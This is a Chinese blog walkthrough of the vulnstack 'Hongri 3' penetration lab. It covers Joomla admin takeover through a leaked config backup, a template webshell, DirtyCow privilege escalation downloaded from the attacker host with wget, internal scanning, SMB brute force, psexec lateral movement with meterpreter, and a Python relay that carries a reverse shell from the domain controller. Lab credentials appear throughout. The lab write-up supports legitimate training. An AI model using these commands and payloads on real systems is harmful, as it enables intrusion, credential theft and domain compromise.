红日3

灵境平台

hongri3

本次环境为黑盒测试,不提供靶机信息

环境构成:由多台靶机器组成,包括多台Windows、Linux机器,模拟了一个三层网络域的环境,有出网机、跳板机、内网主机、域控主机等不同角色的主机。

目标设定:目标是拿到域控制器的权限,并找到其中的重要文件,让练习者在接近真实的企业网络环境中进行渗透测试实战。

难度定位:相比前两个靶场,难度有所提升,更贴近真实红队评估场景,对练习者的综合渗透测试能力有较高要求。

涉及技术:
    一、信息收集:
            1、网络信息收集:使用工具扫描目标网络,探测主机、开放端口、服务版本等信息,确定攻击目标的网络拓扑结构和资产情况。
            2、Web信息收集:通过Wappalyzer等工具识别目标网站使用的CMS、框架等,查找其历史漏洞,为后续的攻击提供方向。
            3、系统信息收集:在获取到目标主机的权限后,收集系统版本、用户信息、配置文件等,为提权等操作做准备。
    二、漏洞利用:
            1、WEB漏洞利用:通过漏洞利用进行getshell,获取对服务器的控制权。
            2、系统漏洞利用:包括提权漏洞,以及系统中可能存在的未更新软件缺陷等,提升在目标系统中的权限。
            3、中间件漏洞利用:针对目标系统中使用的中间件,查找并利用其存在的漏洞。• 
    三、内网渗透:
            1、建立代理:使用代理工具搭建socks代理,将攻击机上的其他攻击程序带入内网,实现对内网的进一步渗透。
    四、内网信息收集:
            1、利用扫描内网,收集内网主机的IP地址、开放端口、服务信息等,绘制内网拓扑图。
    五、横向移动
    六、域渗透
    七、权限维持
    八、痕迹清理
	
原靶机项目地址:http://vulnstack.qiyuanxuetang.net/vuln/
靶机ip:192.168.242.67
kali:192.168.188.129
cs服务端:192.168.188.129

外网:joomla

fscan扫描

image-20260328160857362

有个mysql的弱口令,登陆看看

image-20260328161015942

扫一下目录

image-20260328161242374

image-20260328161301105

后台登录

image-20260328161327673

从之前连接的数据库找找账号密码,在joomla库的am2zu_users和umnbt_users各有一个,改am2zu_users的

image-20260328161943409

image-20260328161952606

加密脚本

<?php
$plain_password = 'abc123';
$hashed_password = password_hash($plain_password, PASSWORD_BCRYPT, ['cost' => 10]);
echo "原始密码: " . $plain_password . "\n";
echo "bcrypt哈希: " . $hashed_password . "\n";
?>

得到:原始密码: abc123
bcrypt哈希: $2y$10$41JzrIV.PAd4MKqDFxDKt.bD7LQk.Eyfq36rWjfBbm1hoScenBzjm

把密码改成这个之后去后台登录,账户密码administrator/abc123

下面这个也是个方法,用jooscan扫描得到配置文件去连接数据库

image-20260328163506295

直接扫

joomscan -u http://192.168.242.67/

____  _____  _____  __  __  ___   ___    __    _  _ 
   (_  _)(  _  )(  _  )(  \/  )/ __) / __)  /__\  ( \( )
  .-_)(   )(_)(  )(_)(  )    ( \__ \( (__  /(__)\  )  ( 
  \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
                        (1337.today)
   
    --=[OWASP JoomScan
    +---++---==[Version : 0.0.7
    +---++---==[Update Date : [2018/09/23]
    +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
    --=[Code name : Self Challenge
    @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP

Processing http://192.168.242.67/ ...



[+] FireWall Detector
[++] Firewall not detected

[+] Detecting Joomla Version
[++] Joomla 3.9.12

[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable

[+] Checking Directory Listing
[++] directory has directory listing : 
http://192.168.242.67/administrator/components
http://192.168.242.67/administrator/modules
http://192.168.242.67/administrator/templates
http://192.168.242.67/images/banners


[+] Checking apache info/status files
[++] Readable info/status files are not found

[+] admin finder
[++] Admin page : http://192.168.242.67/administrator/

[+] Checking robots.txt existing
[++] robots.txt is found
path : http://192.168.242.67/robots.txt 

Interesting path found from robots.txt
http://192.168.242.67/joomla/administrator/
http://192.168.242.67/administrator/
http://192.168.242.67/bin/
http://192.168.242.67/cache/
http://192.168.242.67/cli/
http://192.168.242.67/components/
http://192.168.242.67/includes/
http://192.168.242.67/installation/
http://192.168.242.67/language/
http://192.168.242.67/layouts/
http://192.168.242.67/libraries/
http://192.168.242.67/logs/
http://192.168.242.67/modules/
http://192.168.242.67/plugins/
http://192.168.242.67/tmp/


[+] Finding common backup files name
[++] Backup files are not found

[+] Finding common log files name
[++] error log is not found

[+] Checking sensitive config.php.x file
[++] Readable config file is found 
 config file path : http://192.168.242.67/configuration.php~



Your Report : reports/192.168.242.67/

访问一下http://192.168.242.67/configuration.php~

image-20260328163728523

Joomla! CMS 配置文件备份泄露

数据库

public $dbtype = 'mysqli';        // 数据库类型
public $host = 'localhost';       // 数据库地址
public $user = 'testuser';        // 数据库用户名
public $password = 'cvcvgjASD!@'; // 数据库密码
public $db = 'joomla';            // 数据库名
public $dbprefix = 'am2zu_';      // 表前缀

网站配置

public $sitename = 'test';                // 网站名称
public $secret = 'gXN9Wbpk7ef3A4Ys';      // Joomla 密钥(用于加密)
public $log_path = '/var/www/html/administrator/logs';  // 日志路径
public $tmp_path = '/var/www/html/tmp';                  // 临时文件路径

连一下数据库

image-20260328164020632

和上一种方法结果是一样的

getshell

后台进来

image-20260328165152489

模板

点一个进去来到error.php,加一个一句话木马

image-20260328165244779

save,访问:192.168.242.67/templates/beez3/error.php,蚁剑连接

image-20260328165619234

但是执行不了命令,传个哥斯拉的shell上去用哥斯拉传后门之后执行,好像也不行

我们传一个phpinfo的文件上去访问看看哪些函数被禁用了

image-20260328171557532

禁用了很多,翻文件翻到一个账号密码

image-20260328173453924

ssh

尝试ssh登录

image-20260328173650883

查看账户权限

image-20260328173858461

应该是要提权的

提权

看看内核版本

[wwwuser@localhost ~]$ uname -a
Linux localhost.localdomain 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

尝试DirtyCow (CVE-2016-5195)

这篇文章讲的挺详细的:脏牛(DirtyCow)Linux本地提权漏洞复现(CVE-2016-5195) - 无名之辈。 - 博客园

靶机用wget下载过去就行,用kali开个http(firefart/dirtycow: Dirty Cow exploit - CVE-2016-5195

kali:

python -m http.server 8989		#在有这个压缩包的目录下开个http

web机:

wget http://192.168.188.129:8989/dirtycow-master.zip
unzip dirtycow-master.zip
cd dirtycow-master
gcc -pthread dirty.c -o dirty -lcrypt
chmod +x dirty
./dirty 123456

image-20260330104201403

image-20260329111921757

看看权限

id

image-20260329115130855

和root一样的权限

信息收集

image-20260329112017743

扫一下93网段,传一个fscan(依旧搞一个http去访问下载)

./fscan -h 192.168.93.0/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 192.168.93.10   is alive
(icmp) Target 192.168.93.30   is alive
(icmp) Target 192.168.93.20   is alive
(icmp) Target 192.168.93.100  is alive
(icmp) Target 192.168.93.120  is alive
[*] Icmp alive hosts len is: 5
192.168.93.120:80 open
192.168.93.100:80 open
192.168.93.20:80 open
192.168.93.120:22 open
192.168.93.10:135 open
192.168.93.30:135 open
192.168.93.30:139 open
192.168.93.20:139 open
192.168.93.10:139 open
192.168.93.10:445 open
192.168.93.20:1433 open
192.168.93.30:445 open
192.168.93.120:3306 open
192.168.93.20:445 open
192.168.93.20:5555 open
192.168.93.100:22 open
192.168.93.20:135 open
192.168.93.100:3306 open
192.168.93.10:88 open
[*] alive ports len is: 19
start vulscan
[*] NetInfo 
[*]192.168.93.30
   [->]win7
   [->]192.168.93.30
[*] WebTitle http://192.168.93.20      code:404 len:315    title:Not Found
[*] NetInfo 
[*]192.168.93.20
   [->]win2008
   [->]192.168.93.20
[*] NetInfo 
[*]192.168.93.10
   [->]WIN-8GA56TNV3MV
   [->]192.168.93.10
[*] OsInfo 192.168.93.10        (Windows Server 2012 R2 Datacenter 9600)
[*] OsInfo 192.168.93.20        (Windows Server (R) 2008 Datacenter 6003 Service Pack 2)
[*] OsInfo 192.168.93.30        (Windows 7 Professional 7601 Service Pack 1)
[*] NetBios 192.168.93.10   [+] DC:WIN-8GA56TNV3MV.test.org      Windows Server 2012 R2 Datacenter 9600
[+] mysql 192.168.93.100:3306:root 123
[+] mysql 192.168.93.120:3306:root 123
[*] WebTitle http://192.168.93.120     code:200 len:16020  title:Home
[*] WebTitle http://192.168.93.100     code:200 len:16020  title:Home
已完成 17/19 [-] ssh 192.168.93.120:22 root Passw0rd ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
已完成 17/19 [-] ssh 192.168.93.120:22 root a123456 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain

存活ip加端口开放情况:

ip 开放端口
192.168.93.10 88、135、139、445
192.168.93.20 80、135、139、445、1433
192.168.93.30 135、139、445
192.168.93.120 22、80、3306

vshell上线

反向,搞个监听器

image-20260329120329307

后门生成

image-20260329120735161

生成的文件依旧是通过kali传输

image-20260330111235377

上线

image-20260329120910485

socks

因为需要和93网段通信,所以开个socks

image-20260329121007552

kali配置/etc/proxychains4.conf

image-20260329121044711

msf

proxychains4 msfconsole

但是后面发现这样去利用攻击会失败,代理需要先开了msf再全局设置一次

SMB爆破

出了120以外其他三个都开了445,尝试smb账号密码爆破(爆了半天发现我字典里面都没有这个密码,看了wp自己加进去了)

msfconsole
msf6 > setg Proxies socks5:192.168.188.129:9898
msf6 > setg ReverseAllowProxy true

msf6 > use auxiliary/scanner/smb/smb_login
msf6 > set RHOSTS 192.168.93.10
msf6 > set SMBUser administrator
msf6 > set PASS_FILE /mnt/hgfs/share/dictionary/keyboard.txt
msf6 > set STOP_ON_SUCCESS true
msf6 > set VERBOSE false
msf6 > set THREADS 3
msf6 > run

setg Proxies:让 msf 的所有流量都通过 vshell 开的 SOCKS5 代理(192.168.188.129:9898

setg ReverseAllowProxy:告诉 msf 的 handler:“payload 回连的时候,也可以走代理”

auxiliary/scanner/smb/smb_login:辅助模块,暴力破解 SMB 服务的用户名和密码

STOP_ON_SUCCESS:找到正确的密码就停下来

VERBOSE:不要输出太多细节

THREADS 3:3个线程

image-20260330122256459

image-20260330105753579

10是administrator / zxcASDqw123!!,20和30:administrator / 123qwe!ASD

192.168.93.20:win2008

msf利用psexec横向移动

msfconsole

msf6 > setg Proxies socks5:192.168.188.129:9898
msf6 > setg ReverseAllowProxy true

msf6 > use exploit/windows/smb/psexec
msf6 > set RHOSTS 192.168.93.20
msf6 > set SMBUser administrator
msf6 > set SMBPass 123qwe!ASD
msf6 > set PAYLOAD windows/x64/meterpreter/bind_tcp
msf6 > set LPORT 5555
msf6 > run

exploit/windows/smb/psexec:横向移动,攻击模块

PAYLOAD windows/x64/meterpreter/bind_tcp:正向连接

image-20260330112320801

系统信息

systeminfo

image-20260330112527148

win2008

看看域名

ipconfig /all

image-20260330114532462

test.org

ping一下看看哪个ip

ping test.org

image-20260330114701751

192.168.93.10是域控

192.168.93.30:win7

一样的利用

msfconsole

msf6 > setg Proxies socks5:192.168.188.129:9898

msf6 > setg ReverseAllowProxy true

msf6 > use exploit/windows/smb/psexec
msf6 > set RHOSTS 192.168.93.30
msf6 > set SMBUser administrator
msf6 > set SMBPass 123qwe!ASD
msf6 > set PAYLOAD windows/x64/meterpreter/bind_tcp
msf6 > set LPORT 6666
msf6 > run

image-20260330113529594

win7

192.168.93.10:域控

msfconsole

msf6 > setg Proxies socks5:192.168.188.129:9898

msf6 > setg ReverseAllowProxy true

msf6 > use exploit/windows/smb/psexec
msf6 > set RHOSTS 192.168.93.10
msf6 > set SMBUser administrator
msf6 > set SMBPass zxcASDqw123!!
msf6 > set PAYLOAD windows/x64/meterpreter/bind_tcp
msf6 > set LPORT 1111
msf6 > run

尝试了但是不行,需要反向出来

看看有什么

which python python3 perl ruby socat nc ncat netcat

image-20260330140747533

Python 2.7Perl,web机直接运行

python -c "
import socket, threading

def handle(client):
    try:
        target = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        target.connect(('192.168.188.129', 3434))
    except:
        client.close()
        return
    
    def forward(src, dst):
        try:
            while True:
                data = src.recv(4096)
                if not data:
                    break
                dst.send(data)
        except:
            pass
        finally:
            src.close()
            dst.close()
    
    t1 = threading.Thread(target=forward, args=(client, target))
    t2 = threading.Thread(target=forward, args=(target, client))
    t1.daemon = True
    t2.daemon = True
    t1.start()
    t2.start()
    t1.join()
    t2.join()

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', 3434))
server.listen(5)
print('[+] Forwarding 0.0.0.0:3434 -> 192.168.188.129:3434')
while True:
    client, addr = server.accept()
    print('[+] Connection from', addr)
    t = threading.Thread(target=handle, args=(client,))
    t.daemon = True
    t.start()
" &

这是一个TCP 端口转发脚本(也叫“隧道”或“代理”)

它的作用是:把发到 Web 服务器 3434 端口的流量,原封不动地转发到攻击机的 3434 端口

image-20260330142708316

kali:

# 在攻击机上启动 msf(新终端)
msfconsole

# 在 msf 中设置全局代理
msf6 > setg Proxies socks5:192.168.188.129:9898
msf6 > setg ReverseAllowProxy true

msf6 > use exploit/windows/smb/psexec
msf6 > set RHOSTS 192.168.93.10
msf6 > set SMBUser administrator
msf6 > set SMBPass zxcASDqw123!!
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.93.100  # Web服务器的内网IP
msf6 > set LPORT 3434
msf6 > set target 2  # Native upload
msf6 > run

PAYLOAD windows/x64/meterpreter/reverse_tcp:需要域控机主动反向出去找攻击机

LHOST 192.168.93.100:让域控去找web机而不是直接找攻击机,又因为设置了端口转发所以找web的3434端口就相当于去找攻击机的3434端口

image-20260330142804424

192.168.93.120

开放了22端口,尝试之前得到的那个账号密码登录

wwwuser/wwwuser_123Aqx

ssh -p 22 wwwuser@192.168.93.120

image-20260330133630271

posted @ 2026-03-30 14:49  Anaxa  阅读(1)  评论(0)    收藏  举报